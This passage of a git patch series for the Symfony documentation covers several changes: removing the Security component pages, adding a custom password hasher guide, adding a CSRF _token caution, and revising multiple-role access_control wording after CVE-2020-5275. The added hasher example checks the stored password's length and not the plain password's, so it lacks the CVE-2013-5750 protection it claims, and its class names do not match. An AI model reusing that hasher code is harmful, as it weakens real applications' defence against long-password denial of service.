-    use Symfony\Component\Security\Core\Role\RoleHierarchy;
-
-    $hierarchy = [
-        'ROLE_SUPER_ADMIN' => ['ROLE_ADMIN', 'ROLE_USER'],
-    ];
-
-    $roleHierarchy = new RoleHierarchy($hierarchy);
-
-    $roleHierarchyVoter = new RoleHierarchyVoter($roleHierarchy);
-
-ExpressionVoter
-~~~~~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\ExpressionVoter`
-grants access based on the evaluation of expressions created with the
-:doc:`ExpressionLanguage component </components/expression_language>`. These
-expressions have access to a number of
-:ref:`special security variables <security-expression-variables>`::
-
-    use Symfony\Component\ExpressionLanguage\Expression;
-    use Symfony\Component\Security\Core\Authorization\Voter\ExpressionVoter;
-
-    // Symfony\Component\Security\Core\Authorization\ExpressionLanguage;
-    $expressionLanguage = ...;
-
-    // instance of Symfony\Component\Security\Core\Authentication\AuthenticationTrustResolverInterface
-    $trustResolver = ...;
-
-    // Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface
-    $authorizationChecker = ...;
-
-    $expressionVoter = new ExpressionVoter($expressionLanguage, $trustResolver, $authorizationChecker);
-
-    // instance of Symfony\Component\Security\Core\Authentication\Token\TokenInterface
-    $token = ...;
-
-    // any object
-    $object = ...;
-
-    $expression = new Expression(
-        '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
-    );
-
-    $vote = $expressionVoter->vote($token, $object, [$expression]);
-
-.. note::
-
-    When you make your own voter, you can use its constructor to inject any
-    dependencies it needs to come to a decision.
-
-Roles
------
-
-Roles are strings that give expression to a certain right the user has (e.g.
-*"edit a blog post"*, *"create an invoice"*). You can freely choose those
-strings. The only requirement is that they must start with the ``ROLE_`` prefix
-(e.g. ``ROLE_POST_EDIT``, ``ROLE_INVOICE_CREATE``).
-
-Using the Decision Manager
---------------------------
-
-The Access Listener
-~~~~~~~~~~~~~~~~~~~
-
-The access decision manager can be used at any point in a request to decide whether
-or not the current user is entitled to access a given resource. One optional,
-but useful, method for restricting access based on a URL pattern is the
-:class:`Symfony\\Component\\Security\\Http\\Firewall\\AccessListener`,
-which is one of the firewall listeners (see :ref:`firewall_listeners`) that
-is triggered for each request matching the firewall map (see :ref:`firewall`).
-
-It uses an access map (which should be an instance of :class:`Symfony\\Component\\Security\\Http\\AccessMapInterface`)
-which contains request matchers and a corresponding set of attributes that
-are required for the current user to get access to the application::
-
-    use Symfony\Component\HttpFoundation\RequestMatcher;
-    use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
-    use Symfony\Component\Security\Http\AccessMap;
-    use Symfony\Component\Security\Http\Firewall\AccessListener;
-
-    $accessMap = new AccessMap();
-    $tokenStorage = new TokenStorage();
-    $requestMatcher = new RequestMatcher('^/admin');
-    $accessMap->add($requestMatcher, ['ROLE_ADMIN']);
-
-    $accessListener = new AccessListener(
-        $tokenStorage,
-        $accessDecisionManager,
-        $accessMap,
-        $authenticationManager
-    );
-
-Authorization Checker
-~~~~~~~~~~~~~~~~~~~~~
-
-The access decision manager is also available to other parts of the application
-via the :method:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationChecker::isGranted`
-method of the :class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationChecker`.
-A call to this method will directly delegate the question to the access
-decision manager::
-
-    use Symfony\Component\Security\Core\Authorization\AuthorizationChecker;
-    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-
-    $authorizationChecker = new AuthorizationChecker(
-        $tokenStorage,
-        $authenticationManager,
-        $accessDecisionManager
-    );
-
-    if (!$authorizationChecker->isGranted('ROLE_ADMIN')) {
-        throw new AccessDeniedException();
-    }
diff --git a/components/security/firewall.rst b/components/security/firewall.rst
deleted file mode 100644
index adb0fae6e4a..00000000000
--- a/components/security/firewall.rst
+++ /dev/null
@@ -1,164 +0,0 @@
-.. index::
-   single: Security, Firewall
-
-The Firewall and Authorization
-==============================
-
-Central to the Security component is authorization. This is handled by an instance
-of :class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface`.
-When all steps in the process of authenticating the user have been taken successfully,
-you can ask the authorization checker if the authenticated user has access to a
-certain action or resource of the application::
-
-    use Symfony\Component\Security\Core\Authorization\AuthorizationChecker;
-    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-
-    // instance of Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface
-    $tokenStorage = ...;
-
-    // instance of Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface
-    $authenticationManager = ...;
-
-    // instance of Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface
-    $accessDecisionManager = ...;
-
-    $authorizationChecker = new AuthorizationChecker(
-        $tokenStorage,
-        $authenticationManager,
-        $accessDecisionManager
-    );
-
-    // ... authenticate the user
-
-    if (!$authorizationChecker->isGranted('ROLE_ADMIN')) {
-        throw new AccessDeniedException();
-    }
-
-.. note::
-
-    Read the dedicated articles to learn more about :doc:`/components/security/authentication`
-    and :doc:`/components/security/authorization`.
-
-.. _firewall:
-
-A Firewall for HTTP Requests
-----------------------------
-
-Authenticating a user is done by the firewall. An application may have
-multiple secured areas, so the firewall is configured using a map of these
-secured areas. For each of these areas, the map contains a request matcher
-and a collection of listeners. The request matcher gives the firewall the
-ability to find out if the current request points to a secured area.
-The listeners are then asked if the current request can be used to authenticate
-the user::
-
-    use Symfony\Component\HttpFoundation\RequestMatcher;
-    use Symfony\Component\Security\Http\Firewall\ExceptionListener;
-    use Symfony\Component\Security\Http\FirewallMap;
-
-    $firewallMap = new FirewallMap();
-
-    $requestMatcher = new RequestMatcher('^/secured-area/');
-
-    // array of callables
-    $listeners = [...];
-
-    $exceptionListener = new ExceptionListener(...);
-
-    $firewallMap->add($requestMatcher, $listeners, $exceptionListener);
-
-The firewall map will be given to the firewall as its first argument, together
-with the event dispatcher that is used by the :class:`Symfony\\Component\\HttpKernel\\HttpKernel`::
-
-    use Symfony\Component\HttpKernel\KernelEvents;
-    use Symfony\Component\Security\Http\Firewall;
-
-    // the EventDispatcher used by the HttpKernel
-    $dispatcher = ...;
-
-    $firewall = new Firewall($firewallMap, $dispatcher);
-
-    $dispatcher->addListener(
-        KernelEvents::REQUEST,
-        [$firewall, 'onKernelRequest']
-    );
-
-The firewall is registered to listen to the ``kernel.request`` event that
-will be dispatched by the HttpKernel at the beginning of each request
-it processes. This way, the firewall may prevent the user from going any
-further than allowed.
-
-Firewall Config
-~~~~~~~~~~~~~~~
-
-The information about a given firewall, such as its name, provider, context,
-entry point and access denied URL, is provided by instances of the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallConfig` class.
-
-This object can be accessed through the ``getFirewallConfig(Request $request)``
-method of the :class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallMap` class and
-through the ``getConfig()``  method of the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallContext` class.
-
-.. _firewall_listeners:
-
-Firewall Listeners
-~~~~~~~~~~~~~~~~~~
-
-When the firewall gets notified of the ``kernel.request`` event, it asks
-the firewall map if the request matches one of the secured areas. The first
-secured area that matches the request will return a set of corresponding
-firewall listeners (which each is a callable).
-These listeners will all be asked to handle the current request. This basically
-means: find out if the current request contains any information by which
-the user might be authenticated (for instance the Basic HTTP authentication
-listener checks if the request has a header called ``PHP_AUTH_USER``).
-
-Exception Listener
-~~~~~~~~~~~~~~~~~~
-
-If any of the listeners throws an :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`,
-the exception listener that was provided when adding secured areas to the
-firewall map will jump in.
-
-The exception listener determines what happens next, based on the arguments
-it received when it was created. It may start the authentication procedure,
-perhaps ask the user to supply their credentials again (when they have only been
-authenticated based on a "remember-me" cookie), or transform the exception
-into an :class:`Symfony\\Component\\HttpKernel\\Exception\\AccessDeniedHttpException`,
-which will eventually result in an "HTTP/1.1 403: Access Denied" response.
-
-Entry Points
-~~~~~~~~~~~~
-
-When the user is not authenticated at all (i.e. when the token storage
-has no token yet), the firewall's entry point will be called to "start"
-the authentication process. An entry point should implement
-:class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`,
-which has only one method: :method:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface::start`.
-This method receives the current :class:`Symfony\\Component\\HttpFoundation\\Request`
-object and the exception by which the exception listener was triggered.
-The method should return a :class:`Symfony\\Component\\HttpFoundation\\Response`
-object. This could be, for instance, the page containing the login form or,
-in the case of Basic HTTP authentication, a response with a ``WWW-Authenticate``
-header, which will prompt the user to supply their username and password.
-
-Flow: Firewall, Authentication, Authorization
----------------------------------------------
-
-Hopefully you can now see a little bit about how the "flow" of the security
-context works:
-
-#. The Firewall is registered as a listener on the ``kernel.request`` event;
-#. At the beginning of the request, the Firewall checks the firewall map
-   to see if any firewall should be active for this URL;
-#. If a firewall is found in the map for this URL, its listeners are notified;
-#. Each listener checks to see if the current request contains any authentication
-   information - a listener may (a) authenticate a user, (b) throw an
-   ``AuthenticationException``, or (c) do nothing (because there is no
-   authentication information on the request);
-#. Once a user is authenticated, you'll use :doc:`/components/security/authorization`
-   to deny access to certain resources.
-
-Read the next articles to find out more about :doc:`/components/security/authentication`
-and :doc:`/components/security/authorization`.
diff --git a/components/security/secure_tools.rst b/components/security/secure_tools.rst
deleted file mode 100644
index a9d6e0fec3a..00000000000
--- a/components/security/secure_tools.rst
+++ /dev/null
@@ -1,56 +0,0 @@
-Securely Generating Random Values
-=================================
-
-The Symfony Security component comes with a collection of nice utilities
-related to security. These utilities are used by Symfony, but you should
-also use them if you want to solve the problem they address.
-
-.. note::
-
-    The functions described in this article were introduced in PHP 5.6 or 7.
-    For older PHP versions, a polyfill is provided by the
-    `Symfony Polyfill Component`_.
-
-Comparing Strings
-~~~~~~~~~~~~~~~~~
-
-The time it takes to compare two strings depends on their differences. This
-can be used by an attacker when the two strings represent a password for
-instance; it is known as a `Timing attack`_.
-
-When comparing two passwords, you should use the :phpfunction:`hash_equals`
-function::
-
-    if (hash_equals($knownString, $userInput)) {
-        // ...
-    }
-
-Generating a Secure Random String
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Whenever you need to generate a secure random string, you are highly
-encouraged to use the :phpfunction:`random_bytes` function::
-
-    $random = random_bytes(10);
-
-The function returns a random string, suitable for cryptographic use, of
-the number bytes passed as an argument (10 in the above example).
-
-.. tip::
-
-    The ``random_bytes()`` function returns a binary string which may contain
-    the ``\0`` character. This can cause trouble in several common scenarios,
-    such as storing this value in a database or including it as part of the
-    URL. The solution is to hash the value returned by ``random_bytes()`` with
-    a hashing function such as :phpfunction:`md5` or :phpfunction:`sha1`.
-
-Generating a Secure Random Number
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you need to generate a cryptographically secure random integer, you should
-use the :phpfunction:`random_int` function::
-
-    $random = random_int(1, 10);
-
-.. _`Timing attack`: https://en.wikipedia.org/wiki/Timing_attack
-.. _`Symfony Polyfill Component`: https://github.com/symfony/polyfill
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index ebc59a02bf5..da212517f0c 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -51,7 +51,7 @@ In addition, some components and official bundles provide other value resolvers:
     Injects the object that represents the current logged in user if type-hinted
     with ``UserInterface``. Default value can be set to ``null`` in case
     the controller can be accessed by anonymous users. It requires installing
-    the :doc:`Security component </components/security>`.
+    the :doc:`SecurityBundle </security>`.
 
 ``Psr7ServerRequestResolver``
     Injects a `PSR-7`_ compliant version of the current request if type-hinted
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index b2840d1a17d..6507463455f 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -681,11 +681,8 @@ migrating the blog from flat PHP to Symfony has improved your life:
   :doc:`routing </routing>`, or rendering :doc:`controllers </controller>`;
 
 * Symfony gives you **access to open source tools** such as `Doctrine`_ and the
-  `Templating`_,
-  :doc:`Security </components/security>`,
-  :doc:`Form </components/form>`, `Validator`_ and
-  `Translation`_ components (to name
-  a few);
+  `Templating`_, :doc:`Security </security>`, :doc:`Form </components/form>`,
+  `Validator`_ and `Translation`_ components (to name a few);
 
 * The application now enjoys **fully-flexible URLs** thanks to the Routing
   component;
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 5210d782ed3..0036347f776 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -4,7 +4,7 @@
 Security Configuration Reference (SecurityBundle)
 =================================================
 
-The SecurityBundle integrates the :doc:`Security component </components/security>`
+The SecurityBundle integrates the :doc:`Security component </security>`
 in Symfony applications. All these options are configured under the ``security``
 key in your application configuration.
 
diff --git a/security/passwords.rst b/security/passwords.rst
index 7f1f5b605b8..6bf37d51806 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -704,10 +704,12 @@ Supported Algorithms
 * :ref:`sodium <reference-security-sodium>`
 * :ref:`PBKDF2 <reference-security-pbkdf2>`
 
+* :ref:`Or create a custom password hasher <custom-password-hasher>`
+
 .. TODO missing:
-    * :ref:`Message Digest <reference-security-message-digest>`
-    * :ref:`Native <reference-security-native>`
-    * :ref:`Plaintext <reference-security-plaintext>`
+..  * :ref:`Message Digest <reference-security-message-digest>`
+..  * :ref:`Native <reference-security-native>`
+..  * :ref:`Plaintext <reference-security-plaintext>`
 
 .. _reference-security-encoder-auto:
 
@@ -772,6 +774,110 @@ Using the `PBKDF2`_ hasher is no longer recommended since PHP added support for
 Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
 to those newer hashing algorithms.
 
+.. _custom-password-hasher:
+
+Creating a custom Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to create your own, it needs to follow these rules:
+
+#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
+   (you can also extend :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasher`);
+
+#. The implementations of
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::hashPassword`
+   and :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::isPasswordValid`
+   **must validate that the password length is no longer than 4096
+   characters.** This is for security reasons (see `CVE-2013-5750`_).
+
+   You can use the :method:`Symfony\\Component\\PasswordHasher\\Hasher\\CheckPasswordLengthTrait::isPasswordTooLong`
+   method for this check.
+
+.. code-block:: php
+
+    // src/Security/CustomVerySecureHasher.php
+    namespace App\Security;
+
+    use Symfony\Component\PasswordHasher\Hasher\CheckPasswordLengthTrait;
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasher;
+    use Symfony\Component\Security\Core\Exception\BadCredentialsException;
+
+    class CustomVerySecureHasher extends UserPasswordHasher
+    {
+        use CheckPasswordLengthTrait;
+
+        public function hashPassword(UserInterface $user, string $plainPassword): string
+        {
+            if ($this->isPasswordTooLong($user->getPassword())) {
+                throw new BadCredentialsException('Invalid password.');
+            }
+
+            // ... hash the plain password in a secure way
+
+            return $hashedPassword;
+        }
+
+        public function isPasswordValid(UserInterface $user, string $plainPassword): bool
+        {
+            if ($this->isPasswordTooLong($user->getPassword())) {
+                return false;
+            }
+
+            // ... validate if the password equals the user's password in a secure way
+
+            return $passwordIsValid;
+        }
+    }
+
+Now, define a password hasher using the ``id`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                app_hasher:
+                    # the service ID of your custom hasher (the FQCN using the default services.yaml)
+                    id: 'App\Security\Hasher\MyCustomPasswordHasher'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
+        >
+
+            <config>
+                <!-- ... -->
+                <!-- id: the service ID of your custom hasher (the FQCN using the default services.yaml) -->
+                <security:password_hasher class="app_hasher"
+                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\Hasher\MyCustomPasswordHasher;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('app_hasher')
+                // the service ID of your custom hasher (the FQCN using the default services.yaml)
+                ->id(MyCustomPasswordHasher::class)
+            ;
+        };
+
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
 .. _`libsodium`: https://pecl.php.net/package/libsodium
@@ -780,3 +886,4 @@ to those newer hashing algorithms.
 .. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography)
 .. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories
 .. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle
+.. _`CVE-2013-5750`: https://symfony.com/blog/cve-2013-5750-security-issue-in-fosuserbundle-login-form
diff --git a/security/voters.rst b/security/voters.rst
index 3755f9e3665..40d5de58b4e 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -24,24 +24,15 @@ this could look like, if you want to make a route accessible to the "owner" only
 In that sense, the following example used throughout this page is a minimal
 example for voters.
 
-.. tip::
-
-    Take a look at the
-    :doc:`authorization </components/security/authorization>`
-    article for an even deeper understanding of voters.
-
-Here's how Symfony works with voters:
-All voters are called each time you use the ``isGranted()`` method on Symfony's
-authorization checker or call ``denyAccessUnlessGranted()`` in a controller (which
-uses the authorization checker), or by
-:ref:`access controls <security-access-control-enforcement-options>`.
+Here's how Symfony works with voters: All voters are called each time you
+use the ``isGranted()`` method on Symfony's authorization checker or call
+``denyAccessUnlessGranted()`` in a controller (which uses the authorization
+checker), or by :ref:`access controls <security-access-control-enforcement-options>`.
 
 Ultimately, Symfony takes the responses from all voters and makes the final
-decision (to allow or deny access to the resource) according to the strategy defined
-in the application, which can be: affirmative, consensus, unanimous or priority.
-
-For more information take a look at
-:ref:`the section about access decision managers <components-security-access-decision-manager>`.
+decision (to allow or deny access to the resource) according to
+:ref:`the strategy defined in the application <security-voters-change-strategy>`,
+which can be: affirmative, consensus, unanimous or priority.
 
 The Voter Interface
 -------------------

From 6857f2476ab5938acd02125b3e825f0943169bdb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Walter=20Nu=C3=B1ez?= <icarosnet@gmail.com>
Date: Thu, 23 Dec 2021 14:30:55 -0500
Subject: [PATCH 2893/7107] Warn about the _token field added automatically

documentation is incomplete the variable form._token is missing: https://symfony.com/doc/current/form/form_customization.html#form-variables-reference
---
 form/form_customization.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index e88c29e11d7..53bf83115ec 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -74,6 +74,16 @@ control over how each form field is rendered, so you can fully customize them:
         </div>
     </div>
 
+.. caution::
+
+   If you're rendering each field manually, make sure you don't forget the
+   ``_token`` field that is automatically added for CSRF protection.
+
+   You can also use ``{{ form_rest(form) }}`` (recommended) to render any
+   fields that aren't rendered manually. See
+   :ref:`the form_rest() documentation <reference-forms-twig-rest>` below for
+   more information.
+
 .. note::
 
     Later in this article you can find the full reference of these Twig

From e905f32eeb6dfb8b30dc34f5126b1e18cd65b614 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Antonio=20J=2E=20Garc=C3=ADa=20Lagar?= <aj@garcialagar.es>
Date: Tue, 31 Mar 2020 08:04:05 +0200
Subject: [PATCH 2894/7107] Partially revert "fix voting on multiple roles
 behavior description" due to CVE-2020-5275

---
 security.rst                |  6 +++---
 security/access_control.rst | 15 ++++++++++-----
 2 files changed, 13 insertions(+), 8 deletions(-)

diff --git a/security.rst b/security.rst
index 4ec0df76f69..753a864eef7 100644
--- a/security.rst
+++ b/security.rst
@@ -513,7 +513,7 @@ start with ``/admin``, you can:
                 # require ROLE_ADMIN for /admin*
                 - { path: '^/admin', roles: ROLE_ADMIN }
 
-                # or require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+                # or require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager)
                 - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
 
                 # the 'path' value can be any valid regular expression
@@ -540,7 +540,7 @@ start with ``/admin``, you can:
                 <!-- require ROLE_ADMIN for /admin* -->
                 <rule path="^/admin" role="ROLE_ADMIN"/>
 
-                <!-- require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin* -->
+                <!-- require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager) -->
                 <rule path="^/admin">
                     <role>ROLE_ADMIN</role>
                     <role>IS_AUTHENTICATED_FULLY</role>
@@ -568,7 +568,7 @@ start with ``/admin``, you can:
                 // require ROLE_ADMIN for /admin*
                 ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
 
-                // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+                // require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager)
                 ['path' => '^/admin', 'roles' => ['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']],
 
                 // the 'path' value can be any valid regular expression
diff --git a/security/access_control.rst b/security/access_control.rst
index 68c659095b2..658f44dccc1 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -44,7 +44,7 @@ Take the following ``access_control`` entries as an example:
                 - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_HOST, host: symfony\.com$ }
                 - { path: '^/admin', roles: ROLE_USER_METHOD, methods: [POST, PUT] }
-                # when defining multiple roles, users must have at least one of them (it's like an OR condition)
+                # when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager
                 - { path: '^/admin', roles: [ROLE_MANAGER, ROLE_ADMIN] }
 
     .. code-block:: xml
@@ -63,7 +63,7 @@ Take the following ``access_control`` entries as an example:
                 <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_HOST" host="symfony\.com$"/>
                 <rule path="^/admin" role="ROLE_USER_METHOD" methods="POST, PUT"/>
-                <!-- when defining multiple roles, users must have at least one of them (it's like an OR condition) -->
+                <!-- when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager -->
                 <rule path="^/admin" roles="ROLE_ADMIN, ROLE_MANAGER"/>
             </config>
         </srv:container>
@@ -97,7 +97,7 @@ Take the following ``access_control`` entries as an example:
                 ],
                 [
                     'path' => '^/admin',
-                    // when defining multiple roles, users must have at least one of them (it's like an OR condition)
+                    // when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager
                     'roles' => ['ROLE_MANAGER', 'ROLE_ADMIN'],
                 ],
             ],
@@ -156,8 +156,13 @@ options:
 
 * ``roles`` If the user does not have the given role, then access is denied
   (internally, an :class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
-  is thrown). If this value is an array of multiple roles, the user must have
-  at least one of them.
+  is thrown). If this value is an array of multiple roles, the user must have:
+  
+  * at least one of them when using the default ``affirmative`` strategy.
+  * more granted than denied roles when using the ``consensus`` strategy.
+  * all of them when using the ``unanimous`` strategy.
+  
+  For more details about different strategies, see :ref:`Access Decision Manager <components-security-access-decision-manager>`.
 
 * ``allow_if`` If the expression returns false, then access is denied;
 

From 88520847c3dd80070257ab4015dd5dd454dd171d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 24 Dec 2021 12:21:22 +0100
Subject: [PATCH 2895/7107] Remove ambiguous usage of multiple roles in
 access_control

---
 security.rst                | 11 +++++------
 security/access_control.rst | 17 +----------------
 2 files changed, 6 insertions(+), 22 deletions(-)

diff --git a/security.rst b/security.rst
index 753a864eef7..c32411e8ba2 100644
--- a/security.rst
+++ b/security.rst
@@ -513,8 +513,8 @@ start with ``/admin``, you can:
                 # require ROLE_ADMIN for /admin*
                 - { path: '^/admin', roles: ROLE_ADMIN }
 
-                # or require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager)
-                - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
+                # or provide an expression for /admin* (e.g. to require multiple roles)
+                - { path: '^/admin', roles: 'is_granted("IS_AUTHENTICATED_FULLY") and is_granted("ROLE_ADMIN")' }
 
                 # the 'path' value can be any valid regular expression
                 # (this one will match URLs like /api/post/7298 and /api/comment/528491)
@@ -540,10 +540,9 @@ start with ``/admin``, you can:
                 <!-- require ROLE_ADMIN for /admin* -->
                 <rule path="^/admin" role="ROLE_ADMIN"/>
 
-                <!-- require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager) -->
+                <!-- or provide an expression for /admin* (e.g. to require multiple roles) -->
                 <rule path="^/admin">
-                    <role>ROLE_ADMIN</role>
-                    <role>IS_AUTHENTICATED_FULLY</role>
+                    <role>is_granted("IS_AUTHENTICATED_FULLY") and is_granted("ROLE_ADMIN")</role>
                 </rule>
 
                 <!-- the 'path' value can be any valid regular expression
@@ -569,7 +568,7 @@ start with ``/admin``, you can:
                 ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
 
                 // require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager)
-                ['path' => '^/admin', 'roles' => ['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']],
+                ['path' => '^/admin', 'roles' => 'is_granted("IS_AUTHENTICATED_FULLY") and is_granted("ROLE_ADMIN")'],
 
                 // the 'path' value can be any valid regular expression
                 // (this one will match URLs like /api/post/7298 and /api/comment/528491)
diff --git a/security/access_control.rst b/security/access_control.rst
index 658f44dccc1..771c48b4677 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -44,8 +44,6 @@ Take the following ``access_control`` entries as an example:
                 - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_HOST, host: symfony\.com$ }
                 - { path: '^/admin', roles: ROLE_USER_METHOD, methods: [POST, PUT] }
-                # when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager
-                - { path: '^/admin', roles: [ROLE_MANAGER, ROLE_ADMIN] }
 
     .. code-block:: xml
 
@@ -63,8 +61,6 @@ Take the following ``access_control`` entries as an example:
                 <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_HOST" host="symfony\.com$"/>
                 <rule path="^/admin" role="ROLE_USER_METHOD" methods="POST, PUT"/>
-                <!-- when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager -->
-                <rule path="^/admin" roles="ROLE_ADMIN, ROLE_MANAGER"/>
             </config>
         </srv:container>
 
@@ -95,11 +91,6 @@ Take the following ``access_control`` entries as an example:
                     'roles' => 'ROLE_USER_METHOD',
                     'methods' => 'POST, PUT',
                 ],
-                [
-                    'path' => '^/admin',
-                    // when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager
-                    'roles' => ['ROLE_MANAGER', 'ROLE_ADMIN'],
-                ],
             ],
         ]);
 
@@ -156,13 +147,7 @@ options:
 
 * ``roles`` If the user does not have the given role, then access is denied
   (internally, an :class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
-  is thrown). If this value is an array of multiple roles, the user must have:
-  
-  * at least one of them when using the default ``affirmative`` strategy.
-  * more granted than denied roles when using the ``consensus`` strategy.
-  * all of them when using the ``unanimous`` strategy.
-  
-  For more details about different strategies, see :ref:`Access Decision Manager <components-security-access-decision-manager>`.
+  is thrown).
 
 * ``allow_if`` If the expression returns false, then access is denied;
 

From 4be162832f7eb59634099b616d06e133afa70299 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Antonio=20J=2E=20Garc=C3=ADa=20Lagar?= <aj@garcialagar.es>
Date: Mon, 27 Dec 2021 09:23:59 +0100
Subject: [PATCH 2896/7107] Remove `Build the Documentation Locally`

---
 contributing/documentation/overview.rst | 45 ++-----------------------
 1 file changed, 3 insertions(+), 42 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 756502b4214..0445047db9c 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -246,44 +246,8 @@ GitHub, click on the **Show all checks** link and finally, click on the
     Only Pull Requests to maintained branches are automatically built by
     SymfonyCloud. Check the `roadmap`_ for maintained branches.
 
-Build the Documentation Locally
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you have Docker installed on your machine, run these commands to build the
-docs:
-
-.. code-block:: terminal
-
-    # build the image...
-    $ docker build . -t symfony-docs
-
-    # ...and start the local web server
-    # (if it's already in use, change the '8080' port by any other port)
-    $ docker run --rm -p 8080:80 symfony-docs
-
-You can now read the docs at ``http://127.0.0.1:8080`` (if you use a virtual
-machine, browse its IP instead of localhost; e.g. ``http://192.168.99.100:8080``).
-
-If you don't use Docker, follow these steps to build the docs locally:
-
